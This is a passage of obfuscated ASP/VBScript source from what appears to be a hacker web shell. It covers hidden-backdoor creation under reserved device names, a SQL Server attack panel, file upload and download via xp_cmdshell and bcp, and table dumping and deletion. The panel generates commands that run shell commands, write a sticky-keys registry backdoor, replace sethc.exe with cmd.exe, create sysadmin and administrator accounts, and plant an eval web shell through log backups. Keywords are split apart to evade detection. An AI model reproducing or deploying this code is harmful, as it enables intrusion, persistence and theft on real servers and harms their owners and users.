967echo"<td colspan=2>App object disabled,can't modIfy time -_-~!</td>"
968End If
969guenn
970gbqwf
971viwe()
972End Sub
973Sub bizlp()
974If Not ydnj Then On Error Resume Next
975Dim wabmc,azchf,bxja,gaf,phebk,avl
976If IsObject(xjab)Then
977Set azchf=xjab.GetFile(lqbip)
978End If
979If IsObject(zjhor)Then
980bxja=dzzx(lqbip,"\",False)
981gaf=zsz(lqbip,"\")
982execute "Set phebk=zjhor.Name"&qrno&"Space(bxja)"
983Set avl=phebk.ParseName(gaf)
984End If
985If kylxz<>""Then
986kylxz=Split(Replace(kylxz," ",""),",")
987For i=0 To UBound(kylxz)
988wabmc=wabmc+CLng(kylxz(i))
989Next
990azchf.Attributes=wabmc
991If Err Then
992tvnm(Err)
993Else
994yln"Attributes modIfied"
995End If
996End If
997If oth=""Then
998If tbe<>"" And IsDate(tbe)Then
999avl.ModIfyDate=tbe
1000If Err Then
1001tvnm(Err)
1002Else
1003yln"Time modIfied"
1004End If
1005End If
1006Else
1007avl.ModIfyDate=phebk.GetDetailsOf(phebk.ParseName(oth),3)
1008If Err Then
1009tvnm(Err)
1010Else
1011yln"Time modIfied"
1012End If
1013End If
1014End Sub
1015Sub ozt()
1016If Not ydnj Then On Error Resume Next
1017If fileName<>""Then
1018Dim lcbe,tpd,csg
1019lcbe="\\.\"&lqbip&"\"&fileName
1020If vujc=1 Then
1021execute "Call xjab.Mov"&pzih&"eFile(ramoi(""PATH_TRANSLATED""),lcbe)"
1022Set tpd=xjab.GetFile(lcbe)
1023tpd.Attributes=6
1024ome(Err)
1025lcbe=Replace(lcbe,"\\.\","")
1026csg=Replace(Replace(Replace(nwtcn(Mid(lcbe,Len(zhyko)+1)),"%2E","."),"+","%20"),"%5C","/")
1027Response.Redirect(csg)
1028Else
1029ekg lcbe,ogda
1030Set tpd=xjab.GetFile(lcbe)
1031tpd.Attributes=6
1032End If
1033If Err Then
1034tvnm(Err)
1035Else
1036yln"Backdoor established,have fun."
1037End If
1038Exit Sub
1039End If
1040cxaqj True
1041sodx"100%"
1042rtas"qtylw","apicv"
1043mwt"<b>Make hidden backdoor</b><br>"
1044sodx"100%"
1045abxky 1
1046doTd"Path","20%"
1047iiit"text","lqbip",lqbip,"60%","",""
1048fkv"Save","20%"
1049uemp
1050abxky 0
1051doTd"Content",""
1052lhue "ogda","",10
1053echo"<td>"
1054jwik"vujc",1,"Move myself there","onclick='javascript:document.getElementById(""ogda"").disabled=this.checked'"
1055echo"</td>"
1056uemp
1057abxky 1
1058echo"<td>"
1059rycpp"fileName","100%",""
1060exhpr"aux.asp","aux.asp"
1061exhpr"con.asp","con.asp"
1062exhpr"com1.asp","com1.asp"
1063exhpr"com2.asp","com2.asp"
1064exhpr"nul.asp","nul.asp"
1065exhpr"prn.asp","prn.asp"
1066ild
1067echo"</td>"
1068mwt"<td colspan='2'>Cannot del,cannot open in ordinary way,this will drive the web administrator madness :)</td>"
1069uemp
1070guenn
1071gbqwf
1072viwe
1073End Sub
1074Sub awsr()
1075If Not ydnj Then On Error Resume Next
1076If lqog="" Or Not IsNumeric(lqog) Then
1077lqog=Request.Cookies("lqog")
1078Else
1079Response.Cookies("lqog")=lqog
1080End If
1081If lqog="" Or Not IsNumeric(lqog) Then lqog=nhbqw
1082If ihk=""Then ihk=Request.Cookies(wseta&"ihk")
1083uhrpj()
1084If ihk<>""Then
1085Select Case qtylw
1086Case"wse"
1087wse()
1088Case"usa"
1089usa()
1090Case"msbca"
1091msbca()
1092Case"sls","ttjm"
1093fomgk()
1094Case Else
1095zwg()
1096End Select
1097End If
1098tbr
1099viwe
1100End Sub
1101Sub uhrpj()
1102Dim rs,yylxy,kzw,zwtp
1103If Not ydnj Then On Error Resume Next
1104ajg("Database Operation")
1105cxaqj True
1106mwt"Connect String : "
1107zesc"text","ihk",ihk,160,""
1108echo" "
1109mwt"page size : "
1110zesc"text","lqog",lqog,5,""
1111qjr"OK"
1112gbqwf
1113csyfy"GetConnectString",True
1114sodx"80%"
1115abxky 1
1116doTd"SqlOleDb","10%"
1117mwt"<td style=""width:80%"">Server:"
1118zesc"text","MsServer","127.0.0.1","15",""
1119echo" Username:"
1120zesc"text","MsUser","sa","10",""
1121echo" Password:"
1122zesc"text","MsPass","","10",""
1123echo" DataBase:"
1124zesc"text","DBPath","","10",""
1125jwik "MsSspi","1","Windows Authentication",""
1126echo"</td>"
1127iiit"button","","Generate","10%","onClick=""javascript:tywoa(MsServer.value,MsUser.value,MsPass.value,DBPath.value,MsSspi.checked)""",""
1128uemp
1129abxky 0
1130doTd"Jet",""
1131mwt"<td>DB path:"
1132zesc"text","accdbpath",nzax&"\","82",""
1133echo"</td>"
1134iiit"button","","Generate","10%","onClick=""javascript:kew(accdbpath.value)""",""
1135uemp
1136guenn
1137echo"</span><hr>"
1138If Err Then Err.clear
1139If ihk<>""Then
1140lswls ihk
1141suzn wseta&"ihk",ihk
1142Set rs=nfffq("Ad"+oge+"odb.R"+zui+"ecordSet")
1143rs.Open "select @@version,db_name()",conn,1,1
1144If Err Then
1145acjdi="access"
1146Err.clear
1147Set rs=Nothing
1148Set rs=nfffq("Ad"+oge+"odb.R"+zui+"ecordSet")
1149rs.Open "select cstr('access')",conn,1,1
1150If Err Then
1151acjdi="others"
1152Err.clear
1153End If
1154rs.Close
1155Set rs=Nothing
1156Else
1157ryfj=rs(0)
1158podw=rs(1)
1159rs.close
1160acjdi="mssql"
1161%>
1162<script>
1163var oonsd='';function zfzf(path){var regRoot=dzzx(path,'\\',true);path=path.substr(regRoot.length+1);var regKey=zsz(path,'\\');var aiw=dzzx(path,'\\',false);return(new Array(regRoot,aiw,regKey));}function ekt(knfe){form2.ybgqm.value="exec mast"+oonsd+"er..xp"+oonsd+"_cmdshell '"+knfe+"'";}function sxubi(aiw){var regarr=zfzf(aiw);form2.ybgqm.value="exec mast"+oonsd+"er..xp_regread '"+regarr[0]+"','"+regarr[1]+"','"+regarr[2]+"'";}function lkae(nxfic){form2.ybgqm.value="exec mast"+oonsd+"er..xp_dirtree '"+nxfic+"',1,1";}function azohr(ths,cpbdz,ltkwa){if(ltkwa==2){form2.ybgqm.value="if object_id('dark_temp')is not null drop table dark_temp;create table dark_temp(aa nvarchar(4000));bulk insert dark_temp from'"+cpbdz+"'";}else{form2.ybgqm.value="declare @a int;exec mast"+oonsd+"er..sp_oacr"+oonsd+"eate'WS"+oonsd+"cript.She"+oonsd+"ll',@a output;exec mast"+oonsd+"er..sp_oameth"+oonsd+"od @a,'run',null,'"+ths+" > "+cpbdz+"',0,'true'";}}function ojlqe(net,cmj,vxeyd,nspwd){switch(nspwd){case '1':form2.ybgqm.value="exec mast"+oonsd+"er..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTW"+oonsd+"ARE\Microsoft\Jet\4.0\En"+oonsd+"gines','SandBo"+oonsd+"xMode','REG_DWORD',0";break;case '2':net=net.replace(/"/g,'""');form2.ybgqm.value="Select * From openro"+oonsd+"wSet('Microsoft.Jet.OLEDB.4.0',';Database="+cmj+"','select shell(\""+net+" > "+vxeyd+"\")')";break;case '3':form2.ybgqm.value="if object_id('dark_temp')is not null drop table dark_temp;create table dark_temp(aa nvarchar(4000));bulk insert dark_temp from'"+vxeyd+"'";break;}}function jxw(ggwz,wvkc){form2.ybgqm.value="declare @a int;exec mast"+oonsd+"er..sp_oacr"+oonsd+"eate'Scriptin"+oonsd+"g.FileSystemObj"+oonsd+"ect',@a output;exec mast"+oonsd+"er..sp_oameth"+oonsd+"od @a,'CopyFile',null,'"+ggwz+"','"+wvkc+"'";}function wfrtn(fhbej,tcppp){form2.ybgqm.value="exec mast"+oonsd+"er..xp_makecab 'C:\\windows\\temp\\~098611.tmp','default',1,'"+fhbej+"';exec mast"+oonsd+"er..xp_unpackcab 'C:\\windows\\temp\\~098611.tmp','"+dzzx(tcppp,"\\",false)+"',1,'"+zsz(tcppp,"\\")+"'";}function cuuu(anpj,xppp){form2.ybgqm.value="use mast"+oonsd+"er;dbcc addextEndedpr"+oonsd+"oc('"+anpj+"','"+xppp+"')";}function bud(wpy){form2.ybgqm.value="use mast"+oonsd+"er;dbcc dropextEndedproc('"+wpy+"')";}function tekgs(epvr){form2.ybgqm.value="exec mast"+oonsd+"er..sp_configure 'show advanced options',1;RECONFIGURE;EXEC mast"+oonsd+"er..sp_configure '"+epvr+"',1;RECONFIGURE";}function zhjsq(zsaq,pqote,qgi){var regarr=zfzf(zsaq);if (pqote=="REG_SZ"){qgi="'"+qgi+"'";}form2.ybgqm.value="exec mast"+oonsd+"er..xp_regwrite '"+regarr[0]+"','"+regarr[1]+"','"+regarr[2]+"','"+pqote+"',"+qgi;}function oqwdw(name,pass){form2.ybgqm.value="exec mast"+oonsd+"er..sp_addlogin '"+name+"','"+pass+"';exec mast"+oonsd+"er..sp_add"+oonsd+"srvrolemember '"+name+"','sysadmin'";}function fkggf(name,pass){form2.ybgqm.value="declare @a int;exec mast"+oonsd+"er..sp_oacr"+oonsd+"eate 'ScriptControl',@a output;exec mast"+oonsd+"er..sp_oasetprop"+oonsd+"erty @a,'language','VBScript';exec mast"+oonsd+"er..sp_oameth"+oonsd+"od @a,'addcode',null,'sub add():Set o=CreateObject(\"She"+oonsd+"ll.Users\"):Set u=o.create(\""+name+"\"):u.Chan"+oonsd+"gePassword \""+pass+"\",\"\":u.setting(\"AccountType\")=3:end sub';exec mast"+oonsd+"er..sp_oameth"+oonsd+"od @a,'run',null,'add'";}function wdkbc(bejh,niypd,podw,wvj){switch(wvj){case '1':form2.ybgqm.value="alter database ["+podw+"] Set recovery full;dump transaction ["+podw+"] with no_log;if object_id('dark_temp')is not null drop table dark_temp;create table dark_temp(aa sql_variant primary key)";break;case '2':form2.ybgqm.value="backup database ["+podw+"] to disk='C:\\windows\\temp\\~098611.tmp' with init";break;case '3':form2.ybgqm.value="insert dark_temp values('"+bejh.replace(/'/g,"''")+"')";break;case '4':form2.ybgqm.value="backup log ["+podw+"] to disk='"+niypd+"';drop table dark_temp";break;}}function euxpo(podw){var re=/(database|initial catalog) *=[^;]+/i;if(sqlForm.ihk.value.match(re)){sqlForm.ihk.value=miig(sqlForm.ihk.value.replace(re,"$1="+podw));sqlForm.qtylw.value="zwg";sqlForm.submit();}else{alert("Can not get database name in connect string!");}}
1164</script>
1165<%
1166End If
1167If qtylw="wse"And ybgqm=""Then
1168If acjdi="others"Then
1169ybgqm="select * from "&rxg
1170Else
1171ybgqm="select * from ["&rxg&"]"
1172End If
1173End If
1174ozs "zwg","","","","","Show Tables",""
1175echo"<br>"
1176cxaqj True
1177rtas"qtylw","wse"
1178rtas"ihk",ihk
1179sodx"100%"
1180If acjdi="mssql"Then
1181abxky 1
1182mwt"<td colspan=4>Version : "&mszsa(ryfj)&"</td>"
1183uemp
1184yylxy="sysadmin|db_owner|public"
1185abxky 0
1186echo"<td colspan=4>"
1187For Each strrole in Split(yylxy,"|")
1188If strrole="sysadmin"Then
1189rs.Open "select IS_SRVROLEMEMBER('"&strrole&"')",conn,1,1
1190Else
1191rs.Open "select IS_MEMBER('"&strrole&"')",conn,1,1
1192End If
1193If rs(0)=1 Then
1194echo "Current Privilege : <font color='red'>"&strrole&"</font> "
1195rs.close
1196Exit For
1197End If
1198rs.close
1199Next
1200echo "| Switch Database : "
1201rs.Open "select name from mast"+mqe+"er..sysdatabases",conn,1,1
1202rs.movefirst
1203Do While Not rs.eof
1204echo "<a href=javascript:euxpo('"&rs("name")&"')>"&rs("name")&"</a> | "
1205rs.movenext
1206Loop
1207echo"</td></tr>"
1208nrf
1209rs.close
1210Set rs=Nothing
1211End If
1212abxky 1
1213doTd"Execute Sql","10%"
1214lhue"ybgqm",ybgqm,5
1215fkv"Submit","5%"
1216iiit"button","","Export","5%","onClick='tort();'",""
1217uemp
1218guenn
1219gbqwf
1220If acjdi="mssql"Then
1221echo"Functions : "
1222kzw=Split("xp_cmd|xp_dir|xp_reg|xp_regw|wsexec|sbexec|fsocopy|makecab|addproc|delproc|enfunc|addlogin|addsys|logback|sls|ttjm","|")
1223zwtp=Split("xp"+cla+"_cmdshell|xp_dirtree|xp_regread|xp_regwrite|ws exec|sandbox exec|FSO copy|Cab copy|add procedure|del procedure|enable function|add sql user|add sys user|logbackup|saupfile|sadownfile","|")
1224For i=0 To UBound(kzw)
1225echo"<a href='#' onClick=""javascript:bik("&kzw(i)&")"" class='hidehref'>"&zwtp(i)&"</a> | "
1226Next
1227echo"<br><br>"
1228uxmhj"xp_cmd",True
1229sodx"100%"
1230abxky 1
1231doTd"com"+nhmkc+"mand","10%"
1232iiit"text","knfe","net u"+rmct+"ser","80%","",""
1233iiit"button","","Generate","10%","onClick=""javascript:ekt(knfe.value)""",""
1234uemp
1235guenn
1236echo"</span>"
1237uxmhj"xp_dir",True
1238sodx"100%"
1239abxky 1
1240doTd"Path","10%"
1241iiit"text","nxfic",nzax,"80%","",""
1242iiit"button","","Generate","10%","onClick=""javascript:lkae(nxfic.value)""",""
1243uemp
1244guenn
1245echo"</span>"
1246uxmhj"xp_reg",True
1247sodx"100%"
1248abxky 1
1249doTd"Path","10%"
1250iiit"text","xpregpath","HKEY_LOCAL_MACHINE\SYSTEM\Curre"+fewse+"ntControlSet\Control\ComputerNa"+wwva+"me\ComputerNa"+wwva+"me\ComputerNa"+wwva+"me","80%","",""
1251iiit"button","","Generate","10%","onClick=""javascript:sxubi(xpregpath.value)""",""
1252uemp
1253guenn
1254echo"</span>"
1255uxmhj"xp_regw",True
1256sodx"100%"
1257abxky 1
1258doTd"Path","10%"
1259iiit"text","zsaq","HKEY_LOCAL_MACHINE\SOFTW"+wjw+"ARE\Microsoft\Window"+zfd+"s NT\Curren"+suctf+"tVersion\Image File Execution Options\Sethc.exe\debugger","80%","","4"
1260uemp
1261abxky 0
1262doTd"Type",""
1263echo"<td width='30%'>"
1264rycpp"pqote","100%",""
1265exhpr "REG_SZ","REG_SZ"
1266exhpr "REG_DWORD","REG_DWORD"
1267exhpr "REG_BINARY","REG_BINARY"
1268ild
1269echo"</td>"
1270doTd"Value",""
1271iiit"text","qgi","cmd.exe","40%","",""
1272iiit"button","","Generate","10%","onClick=""javascript:zhjsq(zsaq.value,document.all.pqote.value,qgi.value)""",""
1273uemp
1274guenn
1275echo"</span>"
1276uxmhj"wsexec",True
1277sodx"100%"
1278abxky 1
1279doTd"com"+nhmkc+"mand","10%"
1280iiit"text","ths","cmd /c net u"+rmct+"ser","","","4"
1281uemp
1282abxky 0
1283doTd"Temp File",""
1284iiit"text","cpbdz","C:\WINDOWS\Temp\~098611.tmp","50%","",""
1285doTd"Step","20%"
1286echo"<td width='10%'>"
1287rycpp"ltkwa","100%",""
1288exhpr 1,1
1289exhpr 2,2
1290ild
1291echo"</td>"
1292iiit"button","","Generate","10%","onClick=""javascript:azohr(ths.value,cpbdz.value,document.all.ltkwa.value)""",""
1293uemp
1294guenn
1295echo"</span>"
1296uxmhj"sbexec",True
1297sodx"100%"
1298abxky 1
1299doTd"com"+nhmkc+"mand","10%"
1300iiit"text","net","cmd /c net u"+rmct+"ser","","","5"
1301uemp
1302abxky 0
1303doTd"Mdb Path",""
1304iiit"text","cmj","C:\windows\syste"+xyjdv+"m32\ias\ias.mdb","30%","",""
1305doTd"Temp File","10%"
1306iiit"text","vxeyd","C:\WINDOWS\Temp\~098611.tmp","30%","",""
1307echo"<td width='10%'>Step "
1308rycpp"nspwd","40px",""
1309exhpr 1,1
1310exhpr 2,2
1311exhpr 3,3
1312ild
1313echo"</td>"
1314iiit"button","","Generate","10%","onClick=""javascript:ojlqe(net.value,cmj.value,vxeyd.value,document.all.nspwd.value)""",""
1315uemp
1316guenn
1317echo"</span>"
1318uxmhj"fsocopy",True
1319sodx"100%"
1320abxky 1
1321doTd"Source","10%"
1322iiit"text","ggwz","C:\WINDOWS\syste"+xyjdv+"m32\cmd.exe","35%","",""
1323doTd"Target","10%"
1324iiit"text","wvkc","C:\WINDOWS\syste"+xyjdv+"m32\Sethc.exe","35%","",""
1325iiit"button","","Generate","10%","onClick=""javascript:jxw(ggwz.value,wvkc.value)""",""
1326uemp
1327guenn
1328echo"</span>"
1329uxmhj"makecab",True
1330sodx"100%"
1331abxky 1
1332doTd"Source","10%"
1333iiit"text","fhbej","C:\WINDOWS\syste"+xyjdv+"m32\cmd.exe","35%","",""
1334doTd"Target","10%"
1335iiit"text","tcppp","C:\WINDOWS\syste"+xyjdv+"m32\Sethc.exe","35%","",""
1336iiit"button","","Generate","10%","onClick=""javascript:wfrtn(fhbej.value,tcppp.value)""",""
1337uemp
1338guenn
1339echo"</span>"
1340uxmhj"addproc",True
1341sodx"80%%"
1342abxky 1
1343doTd"Procedure","20%"
1344echo"<td width='20%'>"
1345rycpp"anpj","100%",""
1346exhpr "xp"+cla+"_cmdshell","xp"+cla+"_cmdshell"
1347exhpr "xp_dirtree","xp_dirtree"
1348exhpr "xp_regread","xp_regread"
1349exhpr "xp_regwrite","xp_regwrite"
1350exhpr "sp_oacr"+mml+"eate","sp_oacr"+mml+"eate"
1351ild
1352doTd"DLL","20%"
1353echo"<td width='20%'>"
1354rycpp"xppp","100%",""
1355exhpr "xplog"+nmdg+"70.dll","xplog"+nmdg+"70.dll"
1356exhpr "xpstar.dll","xpstar.dll"
1357exhpr "odsole70.dll","odsole70.dll"
1358ild
1359iiit"button","","Generate","20%","onClick=""javascript:cuuu(document.all.anpj.value,document.all.xppp.value)""",""
1360uemp
1361guenn
1362echo"</span>"
1363uxmhj"delproc",True
1364sodx"40%"
1365abxky 1
1366doTd"Procedure","30%"
1367echo"<td width='40%'>"
1368rycpp"wpy","100%",""
1369exhpr "xp"+cla+"_cmdshell","xp"+cla+"_cmdshell"
1370exhpr "xp_dirtree","xp_dirtree"
1371exhpr "xp_regread","xp_regread"
1372exhpr "xp_regwrite","xp_regwrite"
1373exhpr "sp_oacr"+mml+"eate","sp_oacr"+mml+"eate"
1374ild
1375echo"</td>"
1376iiit"button","","Generate","30%","onClick=""javascript:bud(document.all.wpy.value)""",""
1377uemp
1378guenn
1379echo"</span>"
1380uxmhj"enfunc",True
1381sodx"40%"
1382abxky 1
1383doTd"Function","30%"
1384echo"<td width='40%'>"
1385rycpp"epvr","100%",""
1386exhpr "xp"+cla+"_cmdshell","xp"+cla+"_cmdshell"
1387exhpr "Ole Automation Procedures","sp_oacr"+mml+"eate"
1388exhpr "Ad Hoc Distributed Queries","openro"+unw+"wSet"
1389ild
1390echo"</td>"
1391iiit"button","","Generate","30%","onClick=""javascript:tekgs(document.all.epvr.value)""",""
1392uemp
1393guenn
1394echo"</span>"
1395uxmhj"addlogin",True
1396sodx"80%"
1397abxky 1
1398doTd"Username","10%"
1399iiit"text","addusername","admin$","30%","",""
1400doTd"Password","10%"
1401iiit"text","adduserpass","fuckyou","30%","",""
1402iiit"button","","Generate","20%","onClick=""javascript:oqwdw(addusername.value,adduserpass.value)""",""
1403uemp
1404guenn
1405echo"</span>"
1406uxmhj"addsys",True
1407sodx"80%"
1408abxky 1
1409doTd"Username","10%"
1410iiit"text","sysname","admin$","30%","",""
1411doTd"Password","10%"
1412iiit"text","syspass","fuckyou","30%","",""
1413iiit"button","","Generate","20%","onClick=""javascript:fkggf(sysname.value,syspass.value)""",""
1414uemp
1415guenn
1416echo"</span>"
1417uxmhj"logback",True
1418sodx"100%"
1419abxky 1
1420doTd"Content","10%"
1421echo"<td colspan='4'>"
1422eks"bejh","<%response.clear:execute request(""value""):response.End%"&">","100%",5,""
1423echo"</td>"
1424iiit"button","","Generate","10%","onClick=""javascript:wdkbc(bejh.value,niypd.value,logdb.value,document.all.logstep.value)""",""
1425uemp
1426abxky 0
1427doTd"Path","10%"
1428iiit"text","niypd",wxw(".")&"\system.asp","40%","",""
1429doTd"Database","10%"
1430iiit"text","logdb",podw,"20%","",""
1431doTd"Step","10%"
1432echo"<td width='10%'>"
1433rycpp"logstep","100%",""
1434exhpr 1,1
1435exhpr 2,2
1436exhpr 3,3
1437exhpr 4,4
1438ild
1439echo"</td>"
1440uemp
1441guenn
1442echo"</span>"
1443uxmhj"sls",True
1444mwt"<form method=""post"" id=""saform""action="""&cngn&"""enctype=""multipart/form-data"">"
1445rtas"goaction",goaction
1446rtas"qtylw","sls"
1447rtas"ihk",ihk
1448sodx"100%"
1449abxky 1
1450iiit"file","fomgk","","30%","",""
1451mwt"<td align='right'>Save as(full path):</td>"
1452iiit"text","lqbip","","40%","",""
1453iiit"button","","Upload","10%","onClick=""javascript:qjr('"&goaction&"','fomgk','')""",""
1454uemp
1455guenn
1456gbqwf
1457echo"</span>"
1458uxmhj"ttjm",True
1459cxaqj True
1460rtas"qtylw","ttjm"
1461rtas"ihk",ihk
1462sodx"100%"
1463abxky 1
1464doTd"Remoto file(full path)",""
1465iiit"text","wckz","","30%","",""
1466doTd"Save as",""
1467iiit"text","lqbip",nzax,"30%","",""
1468fkv"Download","10%"
1469uemp
1470guenn
1471gbqwf
1472echo"</span>"
1473End If
1474echo"<hr>"
1475End If
1476End Sub
1477Sub usa()
1478If Not ydnj Then On Error Resume Next
1479If acjdi<>"others" Then rxg="["&rxg&"]"
1480conn.Execute"drop table "&rxg,-1,&H0001
1481If Err Then
1482tvnm(Err)
1483Else
1484yln("Table deleted.")
1485End If
1486zwg()
1487End Sub
1488Sub msbca()
1489Dim rs,i,sxip
1490If Not ydnj Then On Error Resume Next
1491If ybgqm="" Then
1492sxip=rxg
1493If acjdi<>"others" Then rxg="["&rxg&"]"
1494ybgqm="select * from "&rxg
1495Else
1496sxip="export"
1497End If
1498i=0
1499Set rs=conn.Execute(ybgqm,-1,&H0001)
1500ome(Err)
1501If rs.Fields.Count>0 Then
1502Response.Clear
1503Session.CodePage=936
1504Response.Status="200 OK"
1505Response.AddHeader"Content-Disposition","Attachment; Filename="&sxip&".txt"
1506Session.CodePage=65001
1507Response.AddHeader"Content-Type","text/html"
1508For i=0 To rs.Fields.Count-1
1509echo CStr(rs.Fields(i).Name)
1510If i<rs.Fields.Count-1 Then echo Chr(9)
1511Next
1512echo vbCrLf
1513Do Until rs.EOF
1514For i=0 To rs.Fields.Count-1
1515echo CStr(rs(i))
1516If i<rs.Fields.Count-1 Then echo Chr(9)
1517Next
1518echo vbCrLf
1519rs.MoveNext
1520i=i+1
1521If i>=20 Then
1522i=0
1523Response.Flush()
1524End If
1525Loop
1526Else
1527yln"It's empty."
1528zwg()
1529viwe
1530End If
1531rs.Close
1532Set rs=Nothing
1533response.End
1534End Sub
1535Sub fomgk()
1536qqp="8.0|1|1       SQLIMAGE      0       {size}       """"                        1     binfile     """"|"
1537conn.execute "If object_id('dark_temp')is not null drop table dark_temp"
1538If InStr(ryfj,"Microsoft SQL Server 2005")>0 Then
1539qqp=Replace(qqp,"8.0","9.0")
1540conn.execute("EXEC mast"+mqe+"er..sp_configure 'show advanced options', 1;RECONFIGURE;EXEC mast"+mqe+"er..sp_configure 'xp"+cla+"_cmdshell', 1;RECONFIGURE;")
1541End If
1542If qtylw="ttjm"Then
1543Dim rs,size
1544If lqbip=""Or wckz="" Then
1545yln"Not enough parameters."
1546zwg()
1547viwe
1548ElseIf InstrRev(wckz,".")<InstrRev(wckz,"\")Then
1549yln"You can't download a folder -_-~!"
1550zwg()
1551viwe
1552ElseIf InstrRev(lqbip,".")<InstrRev(lqbip,"\")Then
1553lqbip=lqbip&"\"&zsz(wckz,"\")
1554End If
1555Set rs=nfffq("Ad"+oge+"odb.R"+zui+"ecordSet")
1556Set rs=conn.execute("EXEC mast"+mqe+"er..xp"+cla+"_cmdshell 'dir """&wckz&""" | find """&zsz(wckz,"\")&"""'",-1,&H0001)
1557rs.movefirst
1558size=Replace(Trim(soa(rs(0)," [0-9,]+ ",False)(0)),",","")
1559If size=""Or Not IsNumeric(size)Then
1560yln("Get size error.")
1561viwe
1562End If
1563qqp=Replace(qqp,"{size}",size)
1564rs.Close
1565Set rs=Nothing
1566Else
1567qqp=Replace(qqp,"{size}",0)
1568End If
1569vrdgv=Split(qqp,"|")
1570For Each substrfrm in vrdgv
1571conn.execute("EXEC mast"+mqe+"er..xp"+cla+"_cmdshell 'echo "&substrfrm&" >>c:\tmp.fmt'")
1572Next
1573If qtylw="sls"Then
1574prlq()
1575Else
1576qdroi()
1577End If
1578conn.execute "If object_id('dark_temp')is not null drop table dark_temp"
1579conn.execute("EXECUTE mast"+mqe+"er..xp"+cla+"_cmdshell 'del c:\tmp.fmt'")
1580zwg()
1581End Sub
1582Sub prlq()
1583If Not ydnj Then On Error Resume Next
1584Dim rs,theFile,vrdgv,sblgj
1585If lqbip="" Then lqbip=nzax
1586'If InStr(lqbip,":")<1 Then lqbip=nzax&"\"&lqbip
1587Set theFile=pgvr.File("fomgk")
1588If InstrRev(lqbip,"\")>InstrRev(lqbip,".")Then lqbip=lqbip&"\"&theFile.FileName
1589conn.execute "CREATE TABLE [dark_temp] ([id] [int] NULL ,[binfile] [Image] NULL) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY];"
1590Set rs=nfffq("Ad"+oge+"odb.R"+zui+"ecordSet")
1591rs.Open "SELECT * FROM dark_temp where id is null",conn,1,3
1592rs.AddNew
1593rs("binfile").AppendChunk theFile.wcxc()
1594rs.Update
1595conn.execute("exec mast"+mqe+"er..xp"+cla+"_cmdshell'bcp ""select binfile from "&podw&"..dark_temp"" queryout """&lqbip&""" -T -f c:\tmp.fmt'")
1596set rs=conn.execute("EXECUTE mast"+mqe+"er..xp_fileexist '"&lqbip&"'")
1597If Err Then
1598tvnm(Err)
1599ElseIf rs(0)=1 Then 
1600yln("File uploaded, have fun.")
1601Else
1602yln("Upload failed, RPWT?")
1603End If
1604rs.close
1605Set rs=Nothing
1606End Sub
1607Sub qdroi()
1608Dim rs
1609If Not ydnj Then On Error Resume Next
1610conn.execute "CREATE TABLE [dark_temp] ([binfile] [Image] NULL)"
1611conn.execute("exec mast"+mqe+"er..xp"+cla+"_cmdshell'bcp """&podw&"..dark_temp"" in """&wckz&""" -T -f c:\tmp.fmt'")
1612Set rs=nfffq("Ad"+oge+"odb.R"+zui+"ecordSet")
1613rs.Open "select * from dark_temp",conn,1,1
1614woli lqbip,rs(0),1
1615If Err Then
1616tvnm(Err)
1617Else
1618yln("File downloaded,have fun.")
1619End If
1620rs.close
1621Set rs=Nothing
1622End Sub
1623Sub zwg()
1624Dim cwp,zfo,ote,quh,xad,vldnv,svznx,tgt
1625If Not ydnj Then On Error Resume Next
1626xad=1
1627ads=0
1628Set vldnv=conn.OpenSchema(20,Array(Empty,Empty,Empty,"table"))
1629ome(Err)
1630Dim rs
1631Do Until vldnv.Eof
1632svznx=vldnv("Table_Name")
1633'If acjdi<>"others" Then
1634'Set rs=conn.Execute("select count(*) from ["&svznx&"]")
1635'Else
1636'Set rs=conn.Execute("select count(*) from "&svznx)
1637'End If
1638'If Err Then
1639'tvnm(Err)
1640'Else
1641'rs.movefirst
1642'tgt=" ("&CStr(rs(0))&")"
1643'End If
1644gfk xad
1645cppp"<b>"&svznx&tgt&"</b>"
1646echo"<label>"
1647ozs "wse","","",svznx,"","Show content",""
1648echo"</label>"
1649echo"<label>"
1650ozs "showStructure","","",svznx,"","Show structure",""
1651echo"</label>"
1652echo"<label>"
1653ozs "msbca","","",svznx,"","Export",""
1654echo"</label>"
1655echo"<label>"
1656ozs "usa","","",svznx,"","Delete",""
1657echo"</label>"
1658If qtylw="showStructure"And rxg=vldnv("Table_Name")Then
1659Set rsColumn=conn.OpenSchema(4,Array(Empty,Empty,vldnv("Table_Name").value))
1660echo"<span>"
1661echo"<center>"
1662sodx"80%"
1663abxky ads
1664nrf
1665doTd"Name",""
1666doTd"Type",""
1667doTd"Size",""
1668doTd"Nullable",""
1669uemp
1670Do Until rsColumn.Eof
1671ote=rsColumn("Character_Maximum_Length")
1672If ote="" Then ote=rsColumn("Is_Nullable")
1673abxky ads
1674doTd rsColumn("Column_Name"),""
1675doTd fge(rsColumn("Data_Type")),""
1676doTd ote,""
1677doTd rsColumn("Is_Nullable"),""
1678uemp
1679nrf
1680rsColumn.MoveNext
1681Loop
1682guenn
1683echo"</center></span>"
1684End If
1685mwt"<br></span>"
1686nrf
1687xad=xad+1
1688If xad=2 Then xad=0
1689vldnv.MoveNext
1690Loop
1691Set vldnv=Nothing
1692Set rsColumn=Nothing
1693tvnm(Err)
1694End Sub
1695Sub wse()
1696Dim i,j,x,rs,bac,dot,doi,zwsq,k
1697If Not ydnj Then On Error Resume Next
1698Set rs=nfffq("Ad"+oge+"odb.R"+zui+"ecordSet")
1699k=0
1700zeb
1701If Lcase(Left(ybgqm,7))="select " And acjdi<>"others" Then
1702If fkho=""Or Not IsNumeric(fkho)Then fkho=1
1703rs.Open ybgqm,conn,1,1
1704ome(Err)
1705fkho=CLng(fkho)
1706rs.PageSize=lqog
1707If Not rs.Eof Then
1708rs.AbsolutePage=fkho
1709End If
1710If rs.Fields.Count > 0 Then
1711echo"<table width='100%' cellspacing='0' border='0' style='border-width:0px;'>"
1712abxky 1
1713For j=0 To rs.Fields.Count-1
1714ycd mszsa(rs.Fields(j).Name)
1715Next
1716uemp
1717ads=0
1718For i=1 To rs.PageSize
1719If rs.Eof Then Exit For
1720abxky ads
1721For j=0 To rs.Fields.Count-1
1722doTd mszsa(rs(j)),""
1723Next
1724uemp
1725nrf
1726rs.MoveNext
1727Next
1728End If
1729abxky ads
1730doi=Int(rs.RecordCount/lqog)
1731If rs.RecordCount Mod lqog>0 Then doi=doi+1
1732echo"<td colspan="&rs.Fields.Count&">"
1733mwt rs.RecordCount&" records in total,"&doi&" pages. "
1734ozs "wse","","",rxg,"1",mszsa("<<First page"),mszsa(" ")
1735zwsq=""
1736If rxg=""Then zwsq=Replace(ybgqm,"'","\'")
